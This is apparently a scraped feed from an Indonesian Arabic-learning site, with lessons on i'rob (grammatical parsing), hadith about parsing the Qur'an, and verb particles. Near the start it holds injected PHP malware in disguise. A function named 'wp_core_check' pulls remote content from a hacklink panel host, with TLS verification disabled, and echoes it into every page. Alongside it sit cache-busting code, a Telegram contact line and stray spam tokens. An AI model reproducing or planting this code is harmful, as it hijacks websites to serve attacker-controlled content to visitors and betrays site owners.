function widget_freshcitrus_search() { ?> } if (function_exists('register_sidebar_widget')) register_sidebar_widget(__('Search'), 'widget_freshcitrus_search'); ?> function widget_freshcitrus_calendar() { ?>

Calendar

get_calendar(); ?>
} if (function_exists('register_sidebar_widget')) register_sidebar_widget(__('Calendar'), 'widget_freshcitrus_calendar'); add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); /* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} I’rob – Bahasa Arab Online https://badaronline.com Bahasa Arab Bekal Memahami Agama Islam Thu, 09 May 2019 06:19:37 +0000 en-US hourly 1 Mengenal I’rob Suatu Kata https://badaronline.com/artikel/mengenal-irob-suatu-kata.html https://badaronline.com/artikel/mengenal-irob-suatu-kata.html#comments Wed, 10 Jun 2009 06:43:02 +0000 http://badaronline.com/?p=507 Dalam kaidah bahasa arab, ada yang dikenal dengan I’rob atau mu’rob yang menunjukkan perubahan syakl (biasa berarti perubahan harakat atau perubahan bentuk) akhir dari suatu kata disebabkan kedudukannya dalam kalimat.?Lalu, bagaimana kita dapat mengetahui i’rob suatu kata dan bagaimana cara mengi’robnya??

Untuk pembahasan kali ini, kita akan membahas bagaimana cara mengi’rob suatu isim dari kalimat. Sebelumnya kita harus mengetahui terlebih dahulu, apa saja isim-isim yang mu’rob, isim-isim menurut jenisnya dan bilangannya serta kedudukannya dalam kalimat, baik marfu’, mansub atau majrur, seperti fa’il, mubtada, khobar dan selainnya dalam pembahasan isim yang marfu’, dengan bekal tersebut dapat memudahkan di dalam mengi’rob suatu kata.

Sebagai contoh adalah kata فَاطِمَةَ dalam kalimat:

تُؤْمَرُ فَاطِمَةُ إِلَى السُّوْقِ  (Fatimah diperintah untuk ke pasar )

Dengan berbekal pemahaman dari pembahasan sebelumnya, kita dapat mengetahui bahwa Fatimah merupakan isim muannats yang menunjukkan perempuan, dengan kata berbentuk tunggal (tidak ada tambahan alif dan nun atau alif dan ta yang menunjukkan jamak), dan dengan melihat kedudukannya dalam kalimat, kita bisa tahu ternyata Fatimah berkedudukan marfu sebagai na’ibul fa’il, karena fi’il yang digunakan adalah fi’il mudhori majhul (kata kerja pasif).

Bagaimana cara mengi’robnya dalam bahasa arab??

Banyak cara untuk meng’irob isim, namun yang termudah dan lebih baik adalah diawali dari keadaannya (marfu’, mansub atau majrur), syakal akhirnya (dhommah, fathah, kasrah, dll), jenis dan bilangannya, serta kedudukannya sebagai apa dalam kalimat. Sehingga I’rob dari kata فَاطِمَةَ  dalam kalimat adalah:

فَاطِمَةٌ مَرْفُوْعٌ بِالضَّمَةِ لِأَ نَّهَا اِسْمُ مُؤَنَّثٍ مُفْرَدٌ نَائِبُ فَاعِلٍ

Faatimatun marfu’un biddhommati liannaha ismu muannaatsin mufrodun naaibu fa’ilin (Fatimah marfu’ dengan dommah karena ia merupakan isim muannats tunggal, sebagai naibul fa’il)

Bisa mengi’robnya? Atau masih bingung? Kita berikan contoh lainnya.

تَشْرَبُ مَرْيَمُ لَبَنًا  (Maryam meminum susu)

Kata مَرْيَمُ jika dii’rob menjadi

مَرْيَمُ مَرْفُوْعٌ بِالضَّمَةِ لِأَ نَهَا اِسْمُ الَّذِي لاَ يَنْصَرِفُ مُفْرَدٌ فَاعَلٌ

Maryamu marfu’un bidhdhommati liannaha ismulladzi laa yanshorif mufrodun fa’ilun (Maryam, keadaannya marfu dengan dhommah karena ia termasuk isim la yansorif tunggal, sebagai fa’il).

Dari contoh-contoh di atas, apa sebenarnya manfaat kita mengi’rob suatu kata dalam kalimat?

Jawabnya, ketika seseorang sudah bisa meng’irob suatu kata dengan benar, dia akan mengetahui makna dari kalimat yang diberikan dengan benar, dan faidah apa terkandung di dalamnya, karena setiap kedudukan kata dalam bahasa arab mempunyai maksud-maksud tertentu, salah I’rob, salah arti, menyesatkan. Selain itu, ketika sudah lancar dalam mengi’rob, dia akan menjadi lancar di dalam membaca kitab gundul.

Nah, untuk dapat menguasai cara mengi’rob suatu kata, coba kerjakan soal-soal berikut:

I’roblah kata yang digarisbawahi:

مَنْ يُرِدِ اللهُ بِهِ خَيْرًا يُفَقِّهْهُ فِيْ الدِّيْنِ

أَلَيْسَ اللهُ بِكَافٍ عَبْدَهُ

يُرْسَلُ عَلَيْكُمَا شُوَاظٌ مِنْ نَارٍ

قَرَأَ مُحَمَّدٌ اَلْمَجَلَّةَ

اَلسَّلاَمُ عَلَيْكُمْ هَذَا يَوْمُ الأَحَدِ

Disamping mengerjakan soal-soal di atas, coba anda mengi’rob sendiri ketika anda sedang membaca al-qur’an, jika tidak tahu bisa ditanyakan kepada kami atau orang yang dianggap mengetahui.

Semoga dapat bermanfaat.

]]>
https://badaronline.com/artikel/mengenal-irob-suatu-kata.html/feed 36 507
Keutamaan MengI’rob Al-Qur’an Dalam As-Sunnah https://badaronline.com/artikel/keutamaan-mengirob-al-quran-dari-as-sunnah.html https://badaronline.com/artikel/keutamaan-mengirob-al-quran-dari-as-sunnah.html#comments Sun, 07 Jun 2009 06:55:08 +0000 http://badaronline.com/?p=504 I’rob atau mengi’rob suatu hal yang langka hari ini. Padahal ia adalah rutinitas para sahabat radhiyallahum ajma’in. Mereka memiliki rumus, tiada hari tanpa qira’atul Qur’an dan tiada hari tanpa meng’irob Al-Qur’an.

Perhatian mereka pada I’rob Al-Qur’an sangatlah dalam, lalu apakah ada ajarannya sehingga para sahabat mementingkan I’rob sedemikian rupa dan kenapa kita jarang bahkan mungkin belum pernah mendengar kebiasaan I’rob para sahabat ini ataupun perintah dan anjuran dari Rasul shallallahu ‘alaihi wa sallam.

Sebelum kita mulai telaah mini tentang fadhilah I’rob Al-Qur’an baiknya kita tinjau dahulu apa arti I’rob:

I’rob Menurut Ulama Nahwu

Menurut para ulama nahwu, I’rob adalah, perubahan akhir kalimat disebabkan karena jabatan kata dalam kalimat (‘amil), baik ‘amilnya itu jelas atau samar. (Syudurul Dzihab, karya Ibnu Hisyam 33 dan At-Tuhfatu As-Saniyyah Bisyarhi Al-Muqadimah Al-Jurumiyah, 16. Dinukil dari Fadhlu I’robul Qur’an Al-Karim Fi Sunnah An-Nabawiyah, karya DR. Ahmad bin Abdullah Al-Batali 8)

I’rob Al-Qur’an yaitu: Menepatkan lafadz-lafadznya secara benar, sehingga benar bacaannya, tepat pengucapannya dan sesuai dengan kaedah-kaedah bahasa Arab. (Definisi dari DR. Ahmad bin Abdullah Al-Batali)

Jadi mengi’rob adalah upaya untuk meneliti dan mengurai kaedah-kaedah tata bahasa Arab dalam kalimat supaya bacaannya, pengucapannya dan maknanya shahih.

Berikut Nash-nash dari As-Sunnah mengenai keutamaan I’rob Al-Qur’an:

عن أبي هريرة رضي الله عنه قال : قال رسول الله : ( أعربوا القرآن، والتمسوا غرائبه

Dari Abu Hurairah ra berkata, telah bersabda Rasulullah shallallahu ‘alaihi wa sallam: “I’roblah Al-Qur’an dan telitilah kata-kata asing (yang kamu jumpai didalamnya).”

Takhrij Hadist

Para ulama menilai ada perbedaan pendapat dalam sanadnya, demikian disampaikan oleh Imam Ad-Daruquthni dalam Al-‘Ilal, 10/365 no 2055. Karenanya ulama juga berbeda pendapat mengenai shahih atau dhaifnya hadist ini, yaitu sbb:

Yang menshahihkan:

Al-Hakim: Shahih sanadnya dan keshahihannya disepakati oleh para ulama hadist. (tetapi Al-Hakim tidak mentakhrij siapa-siapa yang ikut menshahihkan hadits ini)

Yang mendhaifkan:
– Adzhabi yang menampik Al-Hakim bahkan beliau berkata para ulama mendhaifkan hadits ini.
– Al-Bani dalam Silsilah Adh-Dhaifah 3/523 no 1346.
– Ad-Daruquthni

Dan lain-lain dari para ulama turut mendhaifkan hadits ini disebabkan ada perawi bernama Abdullah bin Muqri yang terkenal sebagai perawi yang lemah bahkan Imam Bukhari menilai hadist ini sebagai hadist mungkar. Akan tetapi seorang ulama hadits bernama Al-Hafidz Ibnu Nashir mempertahankan hadits ini dikarenakan ada saksi dari Abdullah bin Mas’ud.

عن عبدالله بن مسعود رضي الله عنه مرفوعاً : ” أعربوا القرآن

Dari Abdullah bin Mas’ud meriwayatkan secara marfu’, bahwa Rasulullah shallallahu ‘alaihi wa sallam bersabda; “I’roblah Al-qur’an”.

Takhrij Hadits

Ditakhrij oleh Ath-Thabari dan Al-Mu’jam Al-Kabir, 6/150 no 8684 juga dalam Al-Mu’jam Al-Ausath, 5/351 no 7574. Tetapi para ulama mendhaifkan hadits ini karena ada perawi bernama Laits bin Abi Salim Al-Qursy.

عن عبدالله بن عباس رضي الله عنه مرفوعاً : ” أعربوا القرآن

Dari Abdullah bin Abbas meriwayatkan secara marfu; “I’roblah Al-Qur’an”

Takhrij

Menurut Al-Bani, hadits ini dhaif

عن أبي جعفر : ” أعربوا الكلام، كي تعربوا القرآن

Dari Abu Ja’far: I’roblah Kalimat supaya kalian bisa mengi’rob Al-Qur’an.

Takhrij

Ditakhrij oleh Abu Ubaid dalam Kitab Fadhailul Qur’an, bab I’robul Qur’an hal 209 dan disebutkan juga oleh As-Suyuthi dalm Al-Jami Ash-Shaghir, hal 149 no 1150.

Imam Ahmad menyatakan hadits ini diriwayatkan oleh perawi-perawi yang tsiqat, kemudian Abu Zar’ah Ad-Damsiqi menerima hadits ini. Tetapi An-Nasa’i kemudian juga ditetapkan oleh Al-Bani mendhaifkannya.

Demikian beberapa hadits mengenai keutamaan mengi’rob Al-Qur’an, sengaja kami sertakan kesimpulan takhrij hadits dengan berbagai pandangan ulama mengenai shahih dhaifnya sebab memang hadits ini sangat jarang kita temui bahkan mungkin baru bagi kita. Sebetulnya masih banyak hadits-hadits lainya dan semoga beberapa hadits ini cukup bagi kita sebagai cambuk untuk terus bersemangat mempelajari bahasa Arab supaya (salah satunya) dapat mengi’rob Al-Qur’an.

Sungguh barangsiapa yang mengi’rob Al-Qur’an dan meneliti, mengamati kata-kata asingnya akan mendapati Al-Qur’an begitu elok nan indah. Subhanallah?

Sumber: http://alghaits.wordpress.co

]]>
https://badaronline.com/artikel/keutamaan-mengirob-al-quran-dari-as-sunnah.html/feed 5 504
Bahasa Arab Dasar 37: Amil-Amil Pada Fi’il https://badaronline.com/dasar/bahasa-arab-dasar-37-amil-amil-pada-fiil.html https://badaronline.com/dasar/bahasa-arab-dasar-37-amil-amil-pada-fiil.html#comments Sat, 24 Jan 2009 10:21:59 +0000 http://badaronline.com/?p=295 عَوَامِلُ الأَفْعَالِ
(Amil-amil pada Fi’il)

Amil Fi'il

1. Al-Adawatun Nashibah

1Z0-052

Al-Adawatun Nashibah adalah alat-alat yang digunakan untuk menashobkan fi’il.

Macam-macam alat penashob

a. أَنْ

Contoh:

أَنَا أُرِيْدُ أَنْ أذْهَبَ إِلَى الْمَسْجِدِ (Aku ingin pergi ke masjid)

b. لَنْ

Contoh:

لَنْ يَنْجَحَ الْكَسْلاَنُُ (Tidak akan sukses orang yang malas)

c. إِذَنْ

Contoh:

إِذَنْ تَنْجَحَ (Jika demikian, engkau akan sukses)

d. كَيْ

Contoh:

اِجْتَهِدْ يَا أَخِيْ كَيْ تَنْجَحَ (Bersungguh-sungguhlah saudaraku, agar engkau sukses)

e. لاَمُ كَيْ

Contoh:

اِرْفَعْ صَوْتَكَ لِيَسْمَعُوْا (Angkatlah suaramu, agar mereka dapat mendengar)

f. لاَمُ الْجُحُوْدِ

Contoh:

مَا كَانَ الْمُسْلِمُ لِيَسْخَرَ أَخَاهُ (Seorang muslim tidak akan mencemooh saudaranya)

g. حَتَّى

Contoh:

لاَ تَتَحَدَّثُوْا حَتَّى يَنْتَهِيَ الدَّرْسُ (Janganlah kalian ngobrol hingga pelajaran selesai!)

Dengarkan Kajian:


CSCS

]]>
https://badaronline.com/dasar/bahasa-arab-dasar-37-amil-amil-pada-fiil.html/feed 13 295